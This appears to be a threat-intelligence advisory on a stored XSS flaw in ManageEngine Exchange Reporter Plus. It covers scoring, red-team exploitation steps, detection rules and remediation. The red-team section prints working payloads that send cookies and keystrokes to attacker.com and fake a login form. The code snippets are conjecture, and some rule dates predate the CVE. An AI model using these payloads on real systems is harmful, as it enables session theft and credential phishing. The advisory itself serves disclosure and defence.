CVE-2026-4108

Executive Summary

CVE-2026-4108 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus, affecting versions prior to 5802. The flaw resides in the Non-Owner Mailbox Permission report, where an authenticated attacker with low privileges can inject malicious scripts that are stored and later executed in the context of other users viewing the report. With a CVSS score of 7.3, this vulnerability poses a significant risk to confidentiality and integrity, potentially allowing session hijacking, data theft, or further lateral movement within the environment. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. However, given the widespread use of ManageEngine products in enterprise environments, immediate patching is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
• Base Score: 7.3 (High)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs valid credentials with low privileges.
• User Interaction (UI): Required – The victim must view the crafted report.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): High – Sensitive data from the victim’s session can be exfiltrated.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No direct impact on availability.

Threat Level: High. While no public exploit exists, the low complexity and network-based attack vector make this a prime target for targeted attacks, especially in environments where ManageEngine products are used for email reporting.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Non-Owner Mailbox Permission report. This report is designed to display permissions for mailboxes that the current user does not own. The flaw occurs because user-supplied input (likely mailbox names, permission descriptions, or other fields) is not properly sanitized before being stored in the database and later rendered in the report view.

Attack Flow:

1. An authenticated attacker with low privileges accesses the Non-Owner Mailbox Permission report creation/modification interface.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an input field that is not sanitized.
3. The payload is stored in the application’s database.
4. When an administrator or another user views the affected report, the payload executes in their browser context.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Why It Matters: Stored XSS in enterprise reporting tools is particularly dangerous because reports are often viewed by multiple users, including administrators with elevated privileges. This can lead to privilege escalation, data breaches, and compromise of the entire application.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-5802): The vulnerable code likely lacks proper output encoding when rendering user-supplied data in the report view. For example, in a JSP or similar template:

<%= request.getParameter("mailboxName") %>

Patched Code (5802+): The patched version implements context-aware output encoding, such as:

<c:out value="${fn:escapeXml(param.mailboxName)}" />

Or uses a security library like OWASP Java Encoder:

<%= Encode.forHtml(request.getParameter("mailboxName")) %>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid low-privileged credentials for ManageEngine Exchange Reporter Plus.
• Access to the Non-Owner Mailbox Permission report creation/modification interface.

Exploitation Steps:

1. Log in to the application with low-privileged credentials.
2. Navigate to the Non-Owner Mailbox Permission report section.
3. Create a new report or modify an existing one.
4. In a field that is not sanitized (e.g., report name, description, or mailbox name), inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the report.
6. Wait for an administrator or other user to view the report.
7. The payload executes, sending the victim’s session cookie to the attacker’s server.

Alternative Payloads:

• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
• Phishing overlay: <script>document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Session expired. Please login again.</h1><form><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form></div>'</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual input in report creation/modification requests, especially fields containing <script>, onerror, or other HTML event handlers.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.
• Enable Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Immediately upgrade to version 5802 or later.
• If patching is not possible, restrict access to the Non-Owner Mailbox Permission report to trusted administrators only.
• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown or suspicious domains containing cookie data in the URL.
• Unusual POST requests to the report creation/modification endpoints with HTML/JavaScript payloads.

Host IOCs:

• Log entries showing creation of reports with suspicious names or descriptions containing script tags.
• Unexpected changes to report data or permissions.

File IOCs:

• Temporary files or logs containing XSS payloads in the application’s data directory.

Detection Engineering

YARA Rule

rule CVE_2026_4108_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ManageEngine Exchange Reporter Plus logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-4108"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-4108 Stored XSS in ManageEngine Exchange Reporter Plus
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attempts in Non-Owner Mailbox Permission report
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: manageengine
detection:
    selection:
        EventID: 1000  # Example event ID for report creation
        RequestBody|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in report descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-4108 Stored XSS in ManageEngine Exchange Reporter Plus";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/reports/non-owner-mailbox-permission"; http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-4108;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to ManageEngine Exchange Reporter Plus version 5802 or later. This is the only definitive fix.
2. Workaround: If patching is delayed, restrict access to the Non-Owner Mailbox Permission report to only trusted administrators. Use network segmentation to limit exposure.
3. WAF Rules: Deploy WAF rules to block common XSS payloads in report creation/modification requests.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Conduct regular security training for developers on secure coding practices, especially input validation and output encoding.
• Perform periodic penetration testing and code reviews.
• Monitor for any suspicious activity related to report creation or modification.

Valters IT Signature:
This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.

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